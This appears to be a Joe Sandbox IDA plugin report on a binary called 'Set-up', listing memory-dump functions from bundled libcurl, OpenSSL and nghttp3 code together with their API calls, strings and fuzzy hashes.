Clear auth, redirects scheme from %s to %s, xrefs: 0012EB84
The redirect target URL could not be parsed: %s, xrefs: 0012E9E1
Clear auth, redirects to port from %u to %u, xrefs: 0012EB1B
HEAD, xrefs: 0012ED9A, 0012EDA2
Maximum (%ld) redirects followed, xrefs: 0012EC11
GET, xrefs: 0012ED95
Switch from POST to GET, xrefs: 0012ED2B
Issue another request to this URL: '%s', xrefs: 0012ECA4
transfer.c, xrefs: 0012E7F2, 0012E97C, 0012EA7D, 0012EAA5, 0012EAE1, 0012EB46, 0012EB92, 0012EBA8, 0012EBCA, 0012EC43
Switch to %s, xrefs: 0012EDA3

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$atoistrcpy
String ID: Clear auth, redirects scheme from %s to %s$Clear auth, redirects to port from %u to %u$GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Switch from POST to GET$Switch to %s$The redirect target URL could not be parsed: %s$transfer.c
API String ID: 2444498485-4197959747
Opcode ID: e1a3b6eb9551d947faf37d6bab64444e89949de173e864a277e8486f58caf3f3
Instruction ID: 9bf6590dd6df2bbe047cd71a120dfec1d19da25f904cb5b0e1a9f4f082633f94
Opcode Fuzzy Hash: e1a3b6eb9551d947faf37d6bab64444e89949de173e864a277e8486f58caf3f3
Instruction Fuzzy Hash: 53F11375904310ABEF249F24EC86BA63BD5AF60708F084479FC489E2D7F771E96487A1

Function 0030A300 Relevance: 16.9, APIs: 2, Strings: 9, Instructions: 446stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,PRIVATE KEY), ref: 0030A61C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ENCRYPTED PRIVATE KEY), ref: 0030A632

Part of subcall function 0030A0B0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,0030A654,?,PRIVATE KEY), ref: 0030A0BD
Part of subcall function 0030A0B0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,PRIVATE KEY), ref: 0030A0C8
Part of subcall function 0030A0B0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,PRIVATE KEY), ref: 0030A0DF

Part of subcall function 002838A0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0028397E

Strings

pem_read_bio_key_legacy, xrefs: 0030A7F8, 0030A827
PEM, xrefs: 0030A3FF
ENCRYPTED PRIVATE KEY, xrefs: 0030A62C
pem_read_bio_key_decoder, xrefs: 0030A54E
crypto/pem/pem_pkey.c, xrefs: 0030A555, 0030A802, 0030A831, 0030A85C, 0030A872
PUBLIC KEY, xrefs: 0030A5D4, 0030A5F1
ANY PRIVATE KEY, xrefs: 0030A6B4
PRIVATE KEY, xrefs: 0030A616, 0030A649
PARAMETERS, xrefs: 0030A5CF

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcmpstrlen
String ID: ANY PRIVATE KEY$ENCRYPTED PRIVATE KEY$PARAMETERS$PEM$PRIVATE KEY$PUBLIC KEY$crypto/pem/pem_pkey.c$pem_read_bio_key_decoder$pem_read_bio_key_legacy
API String ID: 3853617425-3686562516
Opcode ID: d806003e0e47dc8a3181bea54ede8c1f0eb328d308a18ef8dd979a80a48580ea
Instruction ID: f49de55c26e92fee2d09684edb64e79d80ac13269e92212b9a58a94ecea416a8
Opcode Fuzzy Hash: d806003e0e47dc8a3181bea54ede8c1f0eb328d308a18ef8dd979a80a48580ea
Instruction Fuzzy Hash: 99D13DB6A157007BE7227A60AC03F2F769C9F91744F054928FD48A61C3F675EC248BA3

Function 001FC290 Relevance: 16.8, APIs: 1, Strings: 10, Instructions: 318COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000010,?,00000100), ref: 001FC60E

Strings

Too small FXP_STATUS, xrefs: 001FC517
feWould block waiting for status message, xrefs: 001FC4A6
Unable to allocate memory for FXP_OPEN or FXP_OPENDIR packet, xrefs: 001FC444
Too small FXP_HANDLE, xrefs: 001FC582, 001FC675
Unable to allocate new SFTP handle structure, xrefs: 001FC646
Unable to send FXP_OPEN*, xrefs: 001FC45B
Timeout waiting for status message, xrefs: 001FC4FB
Response too small, xrefs: 001FC4E3
Failed opening remote file, xrefs: 001FC531
Would block sending FXP_OPEN or FXP_OPENDIR command, xrefs: 001FC410

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy
String ID: Failed opening remote file$Response too small$Timeout waiting for status message$Too small FXP_HANDLE$Too small FXP_STATUS$Unable to allocate memory for FXP_OPEN or FXP_OPENDIR packet$Unable to allocate new SFTP handle structure$Unable to send FXP_OPEN*$Would block sending FXP_OPEN or FXP_OPENDIR command$feWould block waiting for status message
API String ID: 3510742995-1499184223
Opcode ID: 9a2da5d3c6b35ffcbbd3f3ee40e6f77f47dd0b89d6b54e86cb3a671ad9020f85
Instruction ID: a21f41201fc8e4596b2eb2b26b62566ddacdd6502fc196b9a3655208726326f0
Opcode Fuzzy Hash: 9a2da5d3c6b35ffcbbd3f3ee40e6f77f47dd0b89d6b54e86cb3a671ad9020f85
Instruction Fuzzy Hash: 31B148B09047499BDB14CF28DD41B7BB7E4FF95318F044A2CFA4692292E770D918CB92

Function 0015E270 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 303stringCOMMON

Download Yara Rule

APIs

strrchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000002F,?,?,?,?,?,00000000,?,?,?,?,?,?,0015CC57), ref: 0015F028

Strings

LIST, xrefs: 0015F059, 0015F10A
SIZE %s, xrefs: 0015E406
NLST, xrefs: 0015F05E, 0015F07A
ftp.c, xrefs: 0015F08A, 0015F0BD, 0015F13C
TYPE %c, xrefs: 0015E323
[%s] -> [%s], xrefs: 0015E2E0, 0015E38E, 0015F116, 0015F203
%s%s%s, xrefs: 0015F07B
STOR_PREQUOTE, xrefs: 0015F1F7

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strrchr
String ID: %s%s%s$LIST$NLST$SIZE %s$STOR_PREQUOTE$TYPE %c$[%s] -> [%s]$ftp.c
API String ID: 3418686817-2910492138
Opcode ID: 92b648c69cafb70f0dbb7befd966801fbf97c9131fd1e33bd444a5734a870631
Instruction ID: 72da94a99e3628eea8500b2fb991cfa0824a8f053747b188a717e3a03b9eb220
Opcode Fuzzy Hash: 92b648c69cafb70f0dbb7befd966801fbf97c9131fd1e33bd444a5734a870631
Instruction Fuzzy Hash: C6A13471B00314EBE7249A24DC45B777ADAEB9130AF08407DED688F283D766DE4AC790

Function 001BA8E0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 122COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000018,?,?), ref: 001BA9E8
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(i < blk->n,nghttp3_ksl.c,000002C3,?,?,?,?,?,001B71B7,00000001,?,?), ref: 001BAA04
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(key_equal(ksl->compar, (nghttp3_ksl_key *)node->key, old_key),nghttp3_ksl.c,000002C7,?,001B71B7,00000001,?,?), ref: 001BAA19
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(ksl->head,nghttp3_ksl.c,000002BE,?,?,?,?,?,001B71B7,00000001,?,?), ref: 001BAA2E

Strings

nghttp3_ksl.c, xrefs: 001BA9FA, 001BAA0F, 001BAA24
i < blk->n, xrefs: 001BA9FF
ksl->head, xrefs: 001BAA29
key_equal(ksl->compar, (nghttp3_ksl_key *)node->key, old_key), xrefs: 001BAA14

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert$memcpy
String ID: i < blk->n$key_equal(ksl->compar, (nghttp3_ksl_key *)node->key, old_key)$ksl->head$nghttp3_ksl.c
API String ID: 3718630003-2514804127
Opcode ID: 0ca0d3ccc94eac73b7898a4453380d9ca3e3bb6686543d19f5fbab9de70d6aa6
Instruction ID: c32f9ac669152f8b7675e58003676e4802cede3b0d065dd0dbb7d33776b1f219
Opcode Fuzzy Hash: 0ca0d3ccc94eac73b7898a4453380d9ca3e3bb6686543d19f5fbab9de70d6aa6
Instruction Fuzzy Hash: AE41CD71104308EFDB00DF15CC80F9ABBA5FF4834CF4605A8E4888B2A2D732E849CB52

Function 00352370 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000), ref: 0035238F
CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000), ref: 003523C4
GetLastError.KERNEL32 ref: 00352433

Part of subcall function 00352240: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,0034F763,?,?,?,?,?), ref: 00352251
Part of subcall function 00352240: WideCharToMultiByte.KERNEL32 ref: 00352284
Part of subcall function 00352240: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000), ref: 003522BD

Strings

ERR_CAPI_error, xrefs: 003523F9
engines/e_capi.c, xrefs: 003523A4, 00352426, 00352466
%lX, xrefs: 0035243E
capi_cert_get_fname, xrefs: 00352379
Error code= 0x, xrefs: 0035244F
engines/e_capi_err.c, xrefs: 00352400

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ByteCertCertificateCharContextMultiPropertyWide$ErrorLastwcslen
String ID: %lX$ERR_CAPI_error$Error code= 0x$capi_cert_get_fname$engines/e_capi.c$engines/e_capi_err.c
API String ID: 3049598375-4146664032
Opcode ID: 54e8a70bd6e4f2041a706d5466d8b88f0cf56a9d5ace251da075c95fcd82c619
Instruction ID: 54e5c61380d03a00fd98ebd052c4b5b365d2bf0da1a0300f1e7a055cd79050e8
Opcode Fuzzy Hash: 54e8a70bd6e4f2041a706d5466d8b88f0cf56a9d5ace251da075c95fcd82c619
Instruction Fuzzy Hash: 3C212BA57503007BEA1137A5BC07F3B36189792B46F044534FE08791D3E6D959284EA3

Function 002F4960 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 381COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 002F49A8
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 002F4D44
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?), ref: 002F4E33

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

Strings

No password method specified, xrefs: 002F4BA4
info, xrefs: 002F49DE
pass phrase, xrefs: 002F4A9C
ossl_pw_get_passphrase, xrefs: 002F4B8D, 002F4BB0, 002F4C24
Prompt info data type incorrect, xrefs: 002F4BC7
do_ui_passphrase, xrefs: 002F4B5B, 002F4BEC, 002F4C49, 002F4C92, 002F4CED, 002F4D19, 002F4D58, 002F4E69
crypto/passphrase.c, xrefs: 002F4AC8, 002F4B15, 002F4B65, 002F4B97, 002F4BBA, 002F4BF6, 002F4C2E, 002F4C53, 002F4C9C, 002F4CF7, 002F4D62, 002F4D8E, 002F4DA2, 002F4DB9, 002F4E13, 002F4E70

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy$strcpystrlen
String ID: No password method specified$Prompt info data type incorrect$crypto/passphrase.c$do_ui_passphrase$info$ossl_pw_get_passphrase$pass phrase
API String ID: 699153967-1272933286
Opcode ID: 91661eb5856a7b91676a764a2cae7a1a28b5df26f8692efd1d516fb484e244bc
Instruction ID: 46ce36f2f84e697f30b4cb9c85d35ae4fd61c1ff4e4769ef62b2744e56b00675
Opcode Fuzzy Hash: 91661eb5856a7b91676a764a2cae7a1a28b5df26f8692efd1d516fb484e244bc
Instruction Fuzzy Hash: 48C1E4B5B643057BD620BE60DC43F3BB6A4AB50B44F14493CFE89562C3E6F5E8348A52

Function 001748F0 Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 349COMMON

Download Yara Rule

APIs

memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 0017491A
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 0017497C
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 001749F1
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 00174ABB
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 00174B21
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 00174BCF
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 00174C33
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 00174CDD
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,?,0000000B), ref: 00174D30

Strings

0123456789, xrefs: 0017490D, 00174915, 00174977, 001749A2, 001749EC, 00174A0D, 00174AB6, 00174AE1, 00174B1C, 00174B3D, 00174BCA, 00174BF3, 00174C2E, 00174C4F, 00174CD8, 00174CF8, 00174D20, 00174D2B

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memchr
String ID: 0123456789
API String ID: 3297308162-2793719750
Opcode ID: 35470b523cb64f882907860cf398b55532cbbaf576214e2b28c9c85c30cdf356
Instruction ID: dc26d6b69e0762d7a73ee2afda2fd07d17b4117db31b4ae37568c270251008c3
Opcode Fuzzy Hash: 35470b523cb64f882907860cf398b55532cbbaf576214e2b28c9c85c30cdf356
Instruction Fuzzy Hash: 32B164212883955BDB268E2488A07767BE58F96788F0DC07DEED98B3C3D7258D09D351

Function 0027A1B0 Relevance: 15.2, APIs: 3, Strings: 7, Instructions: 174stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002EB4B0: GetEnvironmentVariableW.KERNEL32(OPENSSL_WIN32_UTF8,00000000,00000000,?,?,00000000,00000000,00000000,?,002F7667,OPENSSL_MODULES), ref: 002EB4CA
Part of subcall function 002EB4B0: GetACP.KERNEL32(?,?,00000000,00000000,00000000,?,002F7667,OPENSSL_MODULES), ref: 002EB4D4
Part of subcall function 002EB4B0: MultiByteToWideChar.KERNEL32(00000000,00000000,002F7667,000000FF,00000000,00000000,?,?,00000000,00000000,00000000,?,002F7667,OPENSSL_MODULES), ref: 002EB53B
Part of subcall function 002EB4B0: MultiByteToWideChar.KERNEL32(00000000,00000000,002F7667,000000FF,-00000008,00000000,?,?,?,00000000,00000000,00000000,?,002F7667,OPENSSL_MODULES), ref: 002EB5A1
Part of subcall function 002EB4B0: GetEnvironmentVariableW.KERNEL32(-00000008,00000000,00000000,?,?,?,00000000,00000000,00000000,?,002F7667,OPENSSL_MODULES), ref: 002EB5B4
Part of subcall function 002EB4B0: GetEnvironmentVariableW.KERNEL32(?,-00000008,00000000,?,?,?,?,00000000,00000000,00000000,?,002F7667,OPENSSL_MODULES), ref: 002EB648
Part of subcall function 002EB4B0: WideCharToMultiByte.KERNEL32 ref: 002EB67F

Part of subcall function 002EB4B0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(002F7667,?,?,00000000,00000000,00000000,?,002F7667,OPENSSL_MODULES), ref: 002EB504

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0027A1F0
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0027A20B
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,00000000,00000000), ref: 0027A25D

Strings

client, xrefs: 0027A2E2
%02x, xrefs: 0027A29F
_%s.sqlog, xrefs: 0027A2F0
OSSL_QFILTER, xrefs: 0027A1CA
server, xrefs: 0027A2E7, 0027A2EF
QLOGDIR, xrefs: 0027A1BB
ssl/quic/qlog.c, xrefs: 0027A23E, 0027A375, 0027A38C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ByteCharEnvironmentMultiVariableWide$strlen$getenvmemcpy
String ID: %02x$OSSL_QFILTER$QLOGDIR$_%s.sqlog$client$server$ssl/quic/qlog.c
API String ID: 2744062652-2540125403
Opcode ID: d8495af7c755b035fe9fd926d7bf6e17017068e8d46fc509179809444e3b56c4
Instruction ID: e2b6cc671f4756eed03ac5c2fbd2e5365eef5d0bc385440a876c00d3a0b048fc
Opcode Fuzzy Hash: d8495af7c755b035fe9fd926d7bf6e17017068e8d46fc509179809444e3b56c4
